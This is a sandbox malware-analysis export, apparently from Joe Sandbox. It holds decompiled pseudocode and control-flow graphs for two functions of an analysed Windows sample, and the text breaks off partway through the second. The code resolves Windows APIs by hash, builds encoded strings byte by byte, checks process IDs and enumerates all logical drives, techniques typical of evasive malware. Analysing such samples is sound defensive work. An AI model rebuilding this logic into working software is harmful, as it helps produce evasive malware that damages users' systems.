    control_flow_graph 1138 f2c0a0-f2c0c0 1139 f2c243-f2c24b 1138->1139 1140 f2c0c6-f2c242 call f2f0a0 call f2fdd0 call f37a82 1138->1140 1142 f2c250-f2c259 1139->1142 1142->1142 1144 f2c25b-f2c268 1142->1144 1146 f2c284-f2c292 1144->1146 1147 f2c26a-f2c27e call f222a0 1144->1147 1153 f2c54a-f2c55c call f37a82 1146->1153 1154 f2c298-f2c2a8 1146->1154 1147->1146 1157 f2c2c4-f2c2d7 1154->1157 1158 f2c2aa-f2c2be call f222a0 1154->1158 1163 f2c51a-f2c52a 1157->1163 1164 f2c2dd-f2c2ee 1157->1164 1158->1157 1166 f2c547 1163->1166 1167 f2c52c-f2c541 call f222a0 1163->1167 1165 f2c2f1-f2c2fa 1164->1165 1165->1165 1168 f2c2fc-f2c30c 1165->1168 1166->1153 1167->1166 1170 f2c328-f2c33e 1168->1170 1171 f2c30e-f2c322 call f222a0 1168->1171 1176 f2c344-f2c349 1170->1176 1177 f2c5ab 1170->1177 1171->1170 1176->1177 1179 f2c34f-f2c35f 1176->1179 1178 f2c5ae-f2c5bb 1177->1178 1180 f2c5d7-f2c5ec call f37a82 1178->1180 1181 f2c5bd-f2c5d1 call f222a0 1178->1181 1182 f2c361-f2c374 call f222a0 1179->1182 1183 f2c377-f2c385 1179->1183 1181->1180 1182->1183 1191 f2c387-f2c39a call f222a0 1183->1191 1192 f2c39d-f2c3aa 1183->1192 1191->1192 1192->1178 1197 f2c3b0-f2c3c3 1192->1197 1198 f2c3c5-f2c3d9 call f222a0 1197->1198 1199 f2c3df-f2c3f1 1197->1199 1198->1199 1203 f2c3f7-f2c3fa 1199->1203 1204 f2c55d-f2c567 1199->1204 1203->1204 1207 f2c400-f2c40a 1203->1207 1205 f2c569-f2c57c call f222a0 1204->1205 1206 f2c57f-f2c58d 1204->1206 1205->1206 1214 f2c5a5-f2c5a8 1206->1214 1215 f2c58f-f2c5a2 call f222a0 1206->1215 1209 f2c422-f2c430 1207->1209 1210 f2c40c-f2c41f call f222a0 1207->1210 1219 f2c432-f2c445 call f222a0 1209->1219 1220 f2c448-f2c455 GetProcessId 1209->1220 1210->1209 1214->1177 1215->1214 1219->1220 1221 f2c457-f2c459 1220->1221 1222 f2c494-f2c4a4 1220->1222 1226 f2c460-f2c464 1221->1226 1227 f2c4c0-f2c4d6 1222->1227 1228 f2c4a6-f2c4ba call f222a0 1222->1228 1226->1204 1229 f2c46a-f2c473 1226->1229 1235 f2c4d8-f2c4eb call f222a0 1227->1235 1236 f2c4ee-f2c4fc 1227->1236 1228->1227 1231 f2c484-f2c48d 1229->1231 1232 f2c475-f2c477 1229->1232 1231->1222 1238 f2c48f-f2c492 1231->1238 1232->1204 1237 f2c47d-f2c482 1232->1237 1235->1236 1242 f2c514-f2c518 RtlFreeHeap 1236->1242 1243 f2c4fe-f2c511 call f222a0 1236->1243 1237->1231 1237->1232 1238->1226 1242->1163 1243->1242
    C-Code - Quality: 49%
    			E00F2C0A0(void* __ebx, char __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v84;
				signed int _v88;
				signed int _v92;
				char _v96;
				signed int _v100;
				long _v104;
				char _v108;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				signed int _t134;
				char* _t136;
				intOrPtr _t137;
				void* _t140;
				intOrPtr _t143;
				void* _t145;
				intOrPtr _t146;
				intOrPtr* _t147;
				char* _t149;
				intOrPtr _t150;
				void* _t154;
				intOrPtr _t155;
				intOrPtr _t160;
				signed int _t161;
				intOrPtr _t162;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				void* _t171;
				intOrPtr _t172;
				intOrPtr _t174;
				intOrPtr _t177;
				intOrPtr _t179;
				intOrPtr _t180;
				intOrPtr _t182;
				long _t183;
				intOrPtr _t184;
				intOrPtr _t187;
				intOrPtr _t189;
				intOrPtr _t191;
				intOrPtr _t192;
				intOrPtr _t194;
				intOrPtr _t196;
				intOrPtr* _t197;
				intOrPtr* _t198;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t202;
				intOrPtr _t204;
				intOrPtr _t206;
				intOrPtr _t208;
				intOrPtr _t210;
				intOrPtr _t212;
				intOrPtr _t214;
				void* _t216;
				char _t222;
				intOrPtr* _t223;
				intOrPtr* _t226;
				intOrPtr _t228;
				void* _t229;
				intOrPtr* _t230;
				intOrPtr* _t231;
				intOrPtr* _t234;
				intOrPtr* _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				intOrPtr* _t238;
				intOrPtr* _t239;
				intOrPtr* _t241;
				intOrPtr* _t242;
				void _t245;
				void* _t257;
				signed int _t267;
				signed int _t268;
				void* _t269;
				long _t271;
				signed int _t272;
				signed int _t273;
				void* _t274;
				void* _t275;
				void* _t276;
				signed int _t277;
				signed int _t278;

				_t220 = __ebx;
				_t134 =  *0xf4a004; // 0x355216d4
				_v8 = _t134 ^ _t278;
				_v108 = __ecx;
				if( *0xf4c2e8 != 0) {
					_t271 = 0;
					_t136 =  &_v84;
					_v88 = 0;
					_t222 = 0x42;
					do {
						 *_t136 = 0;
						_t136 = _t136 + 1;
						_t222 = _t222 - 1;
					} while (_t222 != 0);
					_t137 =  *0xf4c2ec; // 0xddcc10
					_t223 =  *((intOrPtr*)(_t137 + 0xfc));
					if(_t223 == 0) {
						_t223 = E00F222A0(__ebx, _t223, _t223 + 4, __edi, 0, 0xb5e437b0);
						_t214 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t214 + 0xfc)) = _t223;
					}
					_t140 =  *_t223( &_v88, 0,  &_v84); // executed
					if(_t140 != 0) {
						L47:
						return E00F37A82(_v8 ^ _t278);
					} else {
						_t143 =  *0xf4c2ec; // 0xddcc10
						_t267 = _v88;
						_t226 =  *((intOrPtr*)(_t143 + 0x104));
						if(_t226 == 0) {
							_t226 = E00F222A0(_t220, _t226, _t226 + 4, _t267, _t271, 0x2ad410e3);
							_t212 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t212 + 0x104)) = _t226;
						}
						_t145 =  *_t226(_t267, 1,  &_v108, 0, 0, 0, 0); // executed
						if(_t145 != 0) {
							L44:
							_t146 =  *0xf4c2ec; // 0xddcc10
							_t268 = _v88;
							_t147 =  *((intOrPtr*)(_t146 + 0xf8));
							if(_t147 == 0) {
								_t147 = E00F222A0(_t220, 0, _t147 + 4, _t268, _t271, 0x7d154065);
								_t228 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t228 + 0xf8)) = _t147;
							}
							 *_t147(_t268); // executed
							goto L47;
						} else {
							_v96 = _t271;
							_t149 =  &_v104;
							_v100 = _t271;
							_t229 = 4;
							_v92 = _t271;
							_v104 = _t271;
							do {
								 *_t149 = 0;
								_t149 = _t149 + 1;
								_t229 = _t229 - 1;
							} while (_t229 != 0);
							_t150 =  *0xf4c2ec; // 0xddcc10
							_t272 = _v88;
							_t230 =  *((intOrPtr*)(_t150 + 0x100));
							if(_t230 == 0) {
								_t230 = E00F222A0(_t220, _t230, _t230 + 4, _t267, _t272, 0xbbd8bcb8);
								_t210 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t210 + 0x100)) = _t230;
							}
							_t154 =  *_t230(_t272,  &_v100,  &_v92, 0,  &_v96); // executed
							if(_t154 != 0xea) {
								L53:
								_t273 = _v88;
								goto L54;
							} else {
								_t161 = _v100;
								if(_t161 == 0) {
									goto L53;
								} else {
									_t267 = _t161 * 0x29c;
									_t162 =  *0xf4c2ec; // 0xddcc10
									_t234 =  *((intOrPtr*)(_t162 + 0x7c));
									if(_t234 == 0) {
										_t234 = E00F222A0(_t220, _t234, 0, _t267, _t272, 0xc5e8a09c);
										_t208 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t208 + 0x7c)) = _t234;
									}
									_t274 =  *_t234();
									_t164 =  *0xf4c2ec; // 0xddcc10
									_t235 =  *((intOrPtr*)(_t164 + 0x78));
									if(_t235 == 0) {
										_t235 = E00F222A0(_t220, _t235, 0, _t267, _t274, 0x263040ab);
										_t206 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t206 + 0x78)) = _t235;
									}
									_t165 =  *_t235(_t274, 8, _t267);
									_t273 = _v88;
									_t220 = _t165;
									if(_t220 == 0) {
										L54:
										_t155 =  *0xf4c2ec; // 0xddcc10
										_t231 =  *((intOrPtr*)(_t155 + 0xf8));
										if(_t231 == 0) {
											_t231 = E00F222A0(_t220, _t231, _t231 + 4, _t267, _t273, 0x7d154065);
											_t160 =  *0xf4c2ec; // 0xddcc10
											 *((intOrPtr*)(_t160 + 0xf8)) = _t231;
										}
										 *_t231();
										return E00F37A82(_v8 ^ _t278, _t273);
									} else {
										_v92 = _v100;
										_t167 =  *0xf4c2ec; // 0xddcc10
										_t236 =  *((intOrPtr*)(_t167 + 0x100));
										if(_t236 == 0) {
											_t236 = E00F222A0(_t220, _t236, _t236 + 4, _t267, _t273, 0xbbd8bcb8);
											_t204 =  *0xf4c2ec; // 0xddcc10
											 *((intOrPtr*)(_t204 + 0x100)) = _t236;
										}
										_t171 =  *_t236(_t273,  &_v100,  &_v92, _t220,  &_v96); // executed
										if(_t171 != 0 || _v100 == _t171) {
											L48:
											_t172 =  *0xf4c2ec; // 0xddcc10
											_t237 =  *((intOrPtr*)(_t172 + 0x7c));
											if(_t237 == 0) {
												_t237 = E00F222A0(_t220, _t237, 0, _t267, _t273, 0xc5e8a09c);
												_t179 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t179 + 0x7c)) = _t237;
											}
											_t275 =  *_t237();
											_t174 =  *0xf4c2ec; // 0xddcc10
											_t238 =  *((intOrPtr*)(_t174 + 0x74));
											if(_t238 == 0) {
												_t238 = E00F222A0(_t220, _t238, 0, _t267, _t275, 0x3ce51c64);
												_t177 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t177 + 0x74)) = _t238;
											}
											 *_t238(_t275, 0, _t220);
											goto L53;
										} else {
											_t180 =  *0xf4c2ec; // 0xddcc10
											_t239 =  *((intOrPtr*)(_t180 + 0x18));
											if(_t239 == 0) {
												_t239 = E00F222A0(_t220, _t239, 0, _t267, _t273, 0x663b63f4);
												_t202 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t202 + 0x18)) = _t239;
											}
											_t276 =  *_t239();
											_t182 =  *0xf4c2ec; // 0xddcc10
											_t240 =  *((intOrPtr*)(_t182 + 0x24));
											if( *((intOrPtr*)(_t182 + 0x24)) == 0) {
												_t199 = E00F222A0(_t220, _t240, 0, _t267, _t276, 0x31d910df);
												_t200 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t200 + 0x24)) = _t199;
											}
											_t183 = GetProcessId(_t276); // executed
											_t267 = _v92;
											_t273 = 0;
											_v104 = _t183;
											if(_t267 == 0) {
												L37:
												_t184 =  *0xf4c2ec; // 0xddcc10
												_t277 = _v88;
												_t241 =  *((intOrPtr*)(_t184 + 0x108));
												if(_t241 == 0) {
													_t241 = E00F222A0(_t220, _t241, _t241 + 4, _t267, _t277, 0x22cb760f);
													_t196 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t196 + 0x108)) = _t241;
												}
												 *_t241(_t277, 1, 0); // executed
												asm("sbb esi, esi");
												_t187 =  *0xf4c2ec; // 0xddcc10
												_t271 = _t277 + 1;
												_t242 =  *((intOrPtr*)(_t187 + 0x7c));
												if(_t242 == 0) {
													_t242 = E00F222A0(_t220, _t242, 0, _t267, _t271, 0xc5e8a09c);
													_t194 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t194 + 0x7c)) = _t242;
												}
												_t269 =  *_t242();
												_t189 =  *0xf4c2ec; // 0xddcc10
												_t243 =  *((intOrPtr*)(_t189 + 0x74));
												if( *((intOrPtr*)(_t189 + 0x74)) == 0) {
													_t191 = E00F222A0(_t220, _t243, 0, _t269, _t271, 0x3ce51c64);
													_t192 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t192 + 0x74)) = _t191;
												}
												RtlFreeHeap(_t269, 0, _t220);
												goto L44;
											} else {
												_t257 = _t220;
												while(1) {
													_t245 =  *_t257;
													if(_t245 == _t183) {
														goto L48;
													}
													_t197 =  *0xf4c2f8; // 0xf4c338
													_t198 =  *_t197;
													if(_t198 == 0) {
														L35:
														_t273 = _t273 + 1;
														_t257 = _t257 + 0x29c;
														if(_t273 >= _t267) {
															goto L37;
														} else {
															_t183 = _v104;
															continue;
														}
													} else {
														while(_t245 !=  *_t198) {
															_t198 =  *((intOrPtr*)(_t198 + 4));
															if(_t198 != 0) {
																continue;
															} else {
																goto L35;
															}
															goto L57;
														}
														goto L48;
													}
													goto L57;
												}
												goto L48;
											}
										}
									}
								}
							}
						}
					}
				} else {
					_v168 = 0;
					_v167 = 0x24;
					_v166 = 0x42;
					_v165 = 0x5b;
					_v164 = 0x42;
					_v163 = 0x3a;
					_v162 = 0x42;
					_v161 = 0x65;
					_v160 = 0x42;
					_v159 = 0x2e;
					_v158 = 0x42;
					_v157 = 0xf;
					_v156 = 0x42;
					_v155 = 0x65;
					_v154 = 0x42;
					_v153 = 0x2d;
					_v152 = 0x42;
					_v151 = 0x36;
					_v150 = 0x42;
					_v149 = 0x2e;
					_v148 = 0x42;
					_v147 = 0x61;
					_v146 = 0x42;
					_v145 = 0x2e;
					_v144 = 0x42;
					_v143 = 0x32;
					_v142 = 0x42;
					_v141 = 0x5b;
					_v140 = 0x42;
					_v139 = 0xf;
					_v138 = 0x42;
					_v137 = 0x2d;
					_v136 = 0x42;
					_v135 = 0x61;
					_v134 = 0x42;
					_v133 = 0xd;
					_v132 = 0x42;
					_v131 = 0x65;
					_v130 = 0x42;
					_v129 = 0x2d;
					_v128 = 0x42;
					_v127 = 0xb;
					_v126 = 0x42;
					_v125 = 0xd;
					_v124 = 0x42;
					_v123 = 0x2e;
					_v122 = 0x42;
					_v121 = 0x30;
					_v120 = 0x42;
					_v119 = 0x5b;
					_v118 = 0x42;
					_v117 = 0x30;
					_v116 = 0x42;
					_v115 = 0xc;
					_v114 = 0x42;
					_v113 = 0x42;
					_v112 = 0x42;
					_t216 = E00F2F0A0( &_v168);
					E00F2FDD0(__ebx, __edi, __esi);
					return E00F37A82(_v8 ^ _t278, _t216);
				}
				L57:
			}













































































































































    0x00f2c0a0
    0x00f2c0a9
    0x00f2c0b0
    0x00f2c0bd
    0x00f2c0c0
    0x00f2c243
    0x00f2c245
    0x00f2c248
    0x00f2c24b
    0x00f2c250
    0x00f2c250
    0x00f2c253
    0x00f2c256
    0x00f2c256
    0x00f2c25b
    0x00f2c260
    0x00f2c268
    0x00f2c277
    0x00f2c279
    0x00f2c27e
    0x00f2c27e
    0x00f2c28e
    0x00f2c292
    0x00f2c54a
    0x00f2c55c
    0x00f2c298
    0x00f2c298
    0x00f2c29d
    0x00f2c2a0
    0x00f2c2a8
    0x00f2c2b7
    0x00f2c2b9
    0x00f2c2be
    0x00f2c2be
    0x00f2c2d3
    0x00f2c2d7
    0x00f2c51a
    0x00f2c51a
    0x00f2c51f
    0x00f2c522
    0x00f2c52a
    0x00f2c536
    0x00f2c53b
    0x00f2c541
    0x00f2c541
    0x00f2c548
    0x00000000
    0x00f2c2dd
    0x00f2c2dd
    0x00f2c2e0
    0x00f2c2e3
    0x00f2c2e6
    0x00f2c2eb
    0x00f2c2ee
    0x00f2c2f1
    0x00f2c2f1
    0x00f2c2f4
    0x00f2c2f7
    0x00f2c2f7
    0x00f2c2fc
    0x00f2c301
    0x00f2c304
    0x00f2c30c
    0x00f2c31b
    0x00f2c31d
    0x00f2c322
    0x00f2c322
    0x00f2c337
    0x00f2c33e
    0x00f2c5ab
    0x00f2c5ab
    0x00000000
    0x00f2c344
    0x00f2c344
    0x00f2c349
    0x00000000
    0x00f2c34f
    0x00f2c34f
    0x00f2c355
    0x00f2c35a
    0x00f2c35f
    0x00f2c36d
    0x00f2c36f
    0x00f2c374
    0x00f2c374
    0x00f2c379
    0x00f2c37b
    0x00f2c380
    0x00f2c385
    0x00f2c393
    0x00f2c395
    0x00f2c39a
    0x00f2c39a
    0x00f2c3a1
    0x00f2c3a3
    0x00f2c3a6
    0x00f2c3aa
    0x00f2c5ae
    0x00f2c5ae
    0x00f2c5b3
    0x00f2c5bb
    0x00f2c5ca
    0x00f2c5cc
    0x00f2c5d1
    0x00f2c5d1
    0x00f2c5d8
    0x00f2c5ec
    0x00f2c3b0
    0x00f2c3b3
    0x00f2c3b6
    0x00f2c3bb
    0x00f2c3c3
    0x00f2c3d2
    0x00f2c3d4
    0x00f2c3d9
    0x00f2c3d9
    0x00f2c3ed
    0x00f2c3f1
    0x00f2c55d
    0x00f2c55d
    0x00f2c562
    0x00f2c567
    0x00f2c575
    0x00f2c577
    0x00f2c57c
    0x00f2c57c
    0x00f2c581
    0x00f2c583
    0x00f2c588
    0x00f2c58d
    0x00f2c59b
    0x00f2c59d
    0x00f2c5a2
    0x00f2c5a2
    0x00f2c5a9
    0x00000000
    0x00f2c400
    0x00f2c400
    0x00f2c405
    0x00f2c40a
    0x00f2c418
    0x00f2c41a
    0x00f2c41f
    0x00f2c41f
    0x00f2c424
    0x00f2c426
    0x00f2c42b
    0x00f2c430
    0x00f2c439
    0x00f2c440
    0x00f2c445
    0x00f2c445
    0x00f2c449
    0x00f2c44b
    0x00f2c44e
    0x00f2c450
    0x00f2c455
    0x00f2c494
    0x00f2c494
    0x00f2c499
    0x00f2c49c
    0x00f2c4a4
    0x00f2c4b3
    0x00f2c4b5
    0x00f2c4ba
    0x00f2c4ba
    0x00f2c4c5
    0x00f2c4c9
    0x00f2c4cb
    0x00f2c4d0
    0x00f2c4d1
    0x00f2c4d6
    0x00f2c4e4
    0x00f2c4e6
    0x00f2c4eb
    0x00f2c4eb
    0x00f2c4f0
    0x00f2c4f2
    0x00f2c4f7
    0x00f2c4fc
    0x00f2c505
    0x00f2c50c
    0x00f2c511
    0x00f2c511
    0x00f2c518
    0x00000000
    0x00f2c457
    0x00f2c457
    0x00f2c460
    0x00f2c460
    0x00f2c464
    0x00000000
    0x00000000
    0x00f2c46a
    0x00f2c46f
    0x00f2c473
    0x00f2c484
    0x00f2c484
    0x00f2c485
    0x00f2c48d
    0x00000000
    0x00f2c48f
    0x00f2c48f
    0x00000000
    0x00f2c48f
    0x00f2c475
    0x00f2c475
    0x00f2c47d
    0x00f2c482
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f2c482
    0x00000000
    0x00f2c475
    0x00000000
    0x00f2c473
    0x00000000
    0x00f2c460
    0x00f2c455
    0x00f2c3f1
    0x00f2c3aa
    0x00f2c349
    0x00f2c33e
    0x00f2c2d7
    0x00f2c0c6
    0x00f2c0c6
    0x00f2c0d3
    0x00f2c0da
    0x00f2c0e1
    0x00f2c0e8
    0x00f2c0ef
    0x00f2c0f6
    0x00f2c0fd
    0x00f2c104
    0x00f2c10b
    0x00f2c112
    0x00f2c119
    0x00f2c120
    0x00f2c127
    0x00f2c12e
    0x00f2c135
    0x00f2c13c
    0x00f2c143
    0x00f2c14a
    0x00f2c151
    0x00f2c158
    0x00f2c15f
    0x00f2c166
    0x00f2c16d
    0x00f2c174
    0x00f2c17b
    0x00f2c182
    0x00f2c189
    0x00f2c190
    0x00f2c197
    0x00f2c19e
    0x00f2c1a5
    0x00f2c1ac
    0x00f2c1b3
    0x00f2c1ba
    0x00f2c1c1
    0x00f2c1c8
    0x00f2c1cc
    0x00f2c1d0
    0x00f2c1d4
    0x00f2c1d8
    0x00f2c1dc
    0x00f2c1e0
    0x00f2c1e4
    0x00f2c1e8
    0x00f2c1ec
    0x00f2c1f0
    0x00f2c1f4
    0x00f2c1f8
    0x00f2c1fc
    0x00f2c200
    0x00f2c204
    0x00f2c208
    0x00f2c20c
    0x00f2c210
    0x00f2c214
    0x00f2c218
    0x00f2c222
    0x00f2c228
    0x00f2c242
    0x00f2c242
    0x00000000

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LocalTime
    • String ID: $$-$-$-$.$.$.$.$0$0$2$6$:$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$B$[$[$[$a$a$e$e$e
    • API String ID: 481472006-3023949976
    • Opcode ID: 4884850eaf88599f59be61322d0830f23dd9e2969568e7ad201d2c9b294ecf80
    • Instruction ID: 0bc31f2b7c7fcc754a69c66173a2c92bf6190405132ef16d037063bc6534dfd2
    • Opcode Fuzzy Hash: 4884850eaf88599f59be61322d0830f23dd9e2969568e7ad201d2c9b294ecf80
    • Instruction Fuzzy Hash: DDF1C434B052588FEB14CBB8D844BADBBF4AF55304F0440ADE848EB392D7B99E04DB95
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F23480 Relevance: 72.0, APIs: 3, Strings: 38, Instructions: 215COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1246 f23480-f2349f 1247 f234a1-f234b4 call f222a0 1246->1247 1248 f234b7-f234c1 GetLogicalDriveStringsW 1246->1248 1247->1248 1250 f234c7-f234dc call f39867 1248->1250 1251 f236fb-f23703 1248->1251 1250->1251 1255 f234e2-f234f8 call f39000 1250->1255 1258 f23510-f23519 GetLogicalDriveStringsW 1255->1258 1259 f234fa-f2350d call f222a0 1255->1259 1260 f23520-f2352a 1258->1260 1259->1258 1262 f23542-f2354a 1260->1262 1263 f2352c-f2353f call f222a0 1260->1263 1268 f235b9-f23669 call f23710 call f2fdd0 1262->1268 1269 f2354c-f2356e call f37c92 1262->1269 1263->1262 1281 f236e6-f236fa call f39872 1268->1281 1282 f2366b 1268->1282 1275 f23570-f23572 1269->1275 1276 f23584-f235b4 call f237c0 1269->1276 1278 f23575-f2357e 1275->1278 1276->1260 1278->1278 1283 f23580-f23582 1278->1283 1285 f23670-f23674 1282->1285 1283->1276 1287 f23676-f23678 1285->1287 1288 f2367a 1285->1288 1289 f2367c-f2369f 1287->1289 1288->1289 1290 f236a1-f236a3 1289->1290 1291 f236cf-f236e4 call f2fdd0 1289->1291 1292 f236a6-f236ca 1290->1292 1291->1281 1291->1285 1292->1292 1295 f236cc 1292->1295 1295->1291
    C-Code - Quality: 85%
    			E00F23480(signed int* __ecx) {
				signed int _v8;
				signed int _v12;
				WCHAR* _v16;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t98;
				long _t99;
				WCHAR* _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				signed int _t106;
				signed int _t124;
				WCHAR* _t129;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				signed int* _t137;
				signed int _t138;
				intOrPtr* _t142;
				long* _t147;
				short _t148;
				void* _t153;
				WCHAR* _t155;
				signed int _t156;
				void* _t158;
				long _t159;
				signed int _t161;
				signed int _t162;
				short* _t163;
				void* _t165;
				void* _t166;
				void* _t167;
				void* _t168;
				void* _t169;

				_t137 = __ecx;
				_v8 = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				_t98 =  *0xf4c2ec; // 0xddcc10
				 *((intOrPtr*)(__ecx + 4)) = __ecx;
				_t140 =  *((intOrPtr*)(_t98 + 8));
				if( *((intOrPtr*)(_t98 + 8)) == 0) {
					_t150 = 0;
					_t135 = E00F222A0(__ecx, _t140, 0, _t153, _t158, 0x1b99344d);
					_t140 = _t135;
					_t136 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t136 + 8)) = _t135;
				}
				_t99 = GetLogicalDriveStringsW(0, 0); // executed
				_t159 = _t99;
				if(_t159 == 0) {
					L26:
					__eflags = 0;
					return 0;
				} else {
					_t154 = 2 + _t159 * 2;
					_push(2 + _t159 * 2);
					_t101 = E00F39867(_t140);
					_t167 = _t166 + 4;
					_v16 = _t101;
					if(_t101 == 0) {
						goto L26;
					} else {
						E00F39000(_t154, _t101, 0, _t154);
						_t103 =  *0xf4c2ec; // 0xddcc10
						_t168 = _t167 + 0xc;
						_t141 =  *((intOrPtr*)(_t103 + 8));
						if( *((intOrPtr*)(_t103 + 8)) == 0) {
							_t150 = 0;
							_t133 = E00F222A0(_t137, _t141, 0, _t154, _t159, 0x1b99344d);
							_t134 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t134 + 8)) = _t133;
						}
						_t155 = _v16;
						GetLogicalDriveStringsW(_t159, _t155); // executed
						_t160 = 0;
						while(1) {
							_t105 =  *0xf4c2ec; // 0xddcc10
							_t142 =  *((intOrPtr*)(_t105 + 4));
							if(_t142 == 0) {
								_t150 = 0;
								_t142 = E00F222A0(_t137, _t142, 0, _t155, _t160, 0x2ffbe59f);
								_t132 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t132 + 4)) = _t142;
							}
							_t106 =  *_t142(_t155);
							_v12 = _t106;
							_t180 = _t106;
							if(_t106 == 0) {
								break;
							}
							_t163 = E00F37C92(_t142, _t150, _t160, _t180, 0x20);
							_t168 = _t168 + 4;
							_t124 = 0;
							 *((intOrPtr*)(_t163 + 0x14)) = 7;
							 *(_t163 + 0x10) = 0;
							 *_t163 = 0;
							if( *_t155 != 0) {
								_t129 = _t155;
								_t150 =  &(_t129[1]);
								do {
									_t148 =  *_t129;
									_t129 =  &(_t129[1]);
								} while (_t148 != 0);
								_t124 = _t129 - _t150 >> 1;
							}
							E00F237C0(_t163, _t155, _t124);
							_t17 = _t163 + 0x18; // 0x18
							_t147 = _t17;
							 *_t147 = 0;
							 *(_t163 + 0x1c) = _t137[1];
							 *(_t137[1]) = _t163;
							_t160 = _v8 + 1;
							_t137[1] = _t147;
							_v8 = _v8 + 1;
							_t155 =  &(( &(_t155[_v12]))[1]);
						}
						_v64 = 0;
						_v63 = 0x52;
						_v62 = 0x47;
						_v61 = 0x53;
						_v60 = 0x47;
						_v59 = 0xf;
						_v58 = 0x47;
						_v57 = 0x34;
						_v56 = 0x47;
						_v55 = 0x7b;
						_v54 = 0x47;
						_v53 = 0x2f;
						_v52 = 0x47;
						_v51 = 0x4b;
						_v50 = 0x47;
						_v49 = 0x7b;
						_v48 = 0x47;
						_v47 = 0x2f;
						_v46 = 0x47;
						_v45 = 0x7b;
						_v44 = 0x47;
						_v43 = 0x31;
						_v42 = 0x47;
						_v41 = 0x18;
						_v40 = 0x47;
						_v39 = 0x2e;
						_v38 = 0x47;
						_v37 = 0x1b;
						_v36 = 0x47;
						_v35 = 0x50;
						_v34 = 0x47;
						_v33 = 0x5b;
						_v32 = 0x47;
						_v31 = 0x2f;
						_v30 = 0x47;
						_v29 = 0x47;
						_v28 = 0x47;
						E00F2FDD0(_t137, _t155, _t160, E00F23710( &_v64), _t160);
						_t161 =  *_t137;
						_t169 = _t168 + 8;
						_v12 = _t161;
						__eflags = _t161;
						while(_t161 != 0) {
							__eflags =  *((intOrPtr*)(_t161 + 0x14)) - 8;
							if( *((intOrPtr*)(_t161 + 0x14)) < 8) {
								_t138 = _t161;
							} else {
								_t138 =  *_t161;
							}
							_v24 = 0;
							_v23 = 0x36;
							_v22 = 0x5e;
							_v21 = 4;
							_v20 = 0x5e;
							_v19 = 0x5e;
							_v18 = 0x5e;
							__eflags = _v24;
							if(_v24 == 0) {
								_t156 = 0;
								__eflags = 0;
								_t77 = _t156 + 0x7f; // 0x7f
								_t162 = _t77;
								do {
									asm("cdq");
									asm("cdq");
